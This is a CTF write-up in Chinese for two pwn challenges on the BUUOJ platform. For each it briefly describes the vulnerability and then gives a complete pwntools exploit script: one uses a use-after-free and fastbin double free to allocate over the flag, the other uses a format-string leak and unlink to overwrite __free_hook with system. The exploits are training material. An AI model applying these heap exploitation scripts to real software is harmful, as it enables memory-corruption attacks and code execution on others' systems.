gyctf_2020_some_thing_exceting:
漏洞点:
存在uaf漏洞。
思路:
通过uaf漏洞进行double_free,修改fd即可malloc flag所在地。
exp:
from pwn import * from LibcSearcher import * context.terminal = ['tmux', 'splitw', '-h'] local_file = './gy1' local_libc = './libc-2.23.so' # remote_libc = './libc-2.23.so' e = ELF(local_file) select = 1 if select == 0: r = process(local_file) libc = e.libc else: r = remote('node4.buuoj.cn', 28498) #libc = ELF(remote_libc) context.log_level = 'debug' context.arch = e.arch se = lambda data :r.send(data) sa = lambda delim,data :r.sendafter(delim, data) sl = lambda data :r.sendline(data) sla = lambda delim,data :r.sendlineafter(delim, data) sea = lambda delim,data :r.sendafter(delim, data) rc = lambda numb=4096 :r.recv(numb) rl = lambda :r.recvline() ru = lambda delims :r.recvuntil(delims) uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\x00')) uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\x00')) info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr)) chunk_addr = 0x6020c0 def dbg(cmd=''): gdb.attach(r,cmd) def fmt(prev, word, index): ret_str = b"" if prev < word: result = word - prev ret_str = b"%" + str(result).encode() + b"c" elif prev == word: result = 0 else: result = 256 + word - prev ret_str = b"%" + str(result).encode() + b"c" ret_str += b"%" + str(index).encode() + b"$hhn" return ret_str def fmt_str(offset, size, addr, target): payload = b"" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload flag_addr = 0x6020A8 chunk_addr = 0x602040 r.timeout = 0.5 def add(a_size,a_desc,b_size,b_desc): ru(b"want to do :") sl(b'1') ru(b'length : ') sl(str(a_size).encode()) ru(b'ba :') sl(a_desc) ru(b'length : ') sl(str(b_size).encode()) ru(b'na :') sl(b_desc) # def edit(): # ru(b"want to do :") # sl(b'2') def delete(index): ru(b"want to do :") sl(b'3') ru(b'> Banana ID :') sl(str(index).encode()) def show(index): ru(b"want to do :") sl(b'4') ru(b'ID : > SCP project ID :') sl(str(index).encode()) add(0x50,b'aaaa',0x50,b'bbbb') # show(0) # ru(b'na is ') # addr = u32(rc(4)) # success(hex(addr)) add(0x50,b'aaaa',0x50,b'bbbb') delete(0) delete(1) delete(0) add(0x50,p64(flag_addr-0x10),0x50,b'') add(0x50,'aaaa',0x50,'bbbb') add(0x50,b'',0x20,b'') show(4) r.interactive()
axb_2019_heap:
思路:
格式化字符串泄露libc,unlink实现任意地址写,free_hook写为system或者one_gadget
exp:
from pwn import * context.log_level = 'debug' p=remote('node4.buuoj.cn',27875) elf=ELF('./axb_2019_heap') libc=ELF("./libc-2.23 .so") def add(idx,size,content): p.sendlineafter('>>','1') p.sendlineafter('):',str(idx)) p.sendlineafter('size:',str(size)) p.sendlineafter('content:',content) def delete(idx): p.sendlineafter('>>','2') p.sendlineafter('index:',str(idx)) def edit(idx,content): p.sendlineafter('>>','4') p.sendlineafter('index:',str(idx)) p.sendlineafter('content: \n',content) def show(): p.sendlineafter('>>','3') p.recvuntil('name: ') p.sendline('%11$p%15$p') p.recvuntil('Hello, ') base=int(p.recv(14),16)-0x1186 libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240 system=libcbase+libc.sym['system'] free_hook=libcbase+libc.sym['__free_hook'] bss=base+0x202060 add(0,0x98,'a'*0x98)#0 add(1,0x98,'bbbb')#1 add(2,0x90,'cccc')#2 add(3,0x90,'/bin/sh\x00')#3 payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0' edit(0,payload) delete(1) edit(0,p64(0)*3+p64(free_hook)+p64(0x10)) edit(0,p64(system)) delete(3) p.interactive()